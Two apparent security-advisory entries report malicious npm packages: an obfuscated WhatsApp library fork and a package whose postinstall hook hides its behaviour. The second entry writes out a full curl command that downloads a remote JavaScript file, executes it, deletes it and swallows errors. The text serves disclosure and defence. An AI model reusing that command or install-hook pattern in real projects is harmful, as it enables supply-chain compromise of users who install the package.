Malicious code in jagproject (npm)

Source: amazon-inspector 0d8c56a51a256d7e55c64c71b51b0559ca53c6624e2b225264b13a5061105947 The package a Baileys-family WhatsApp library fork contains char-code-obfuscated destination strings in lib/Socket/messages-send.js at lines 425 and 436. The byte arrays passed to String.fromCharCode decode ...

MSC-2026-6372

Malicious npm package 0 downloads. Its postinstall hook node index.js uses char-code-obfuscated strings to run curl -sL -o ./.cache https://aone-kit.oss-cn-beijing.aliyuncs.com/plugins/crypto.js, then requires the downloaded file to execute it and deletes it, swallowing all errors. The remote...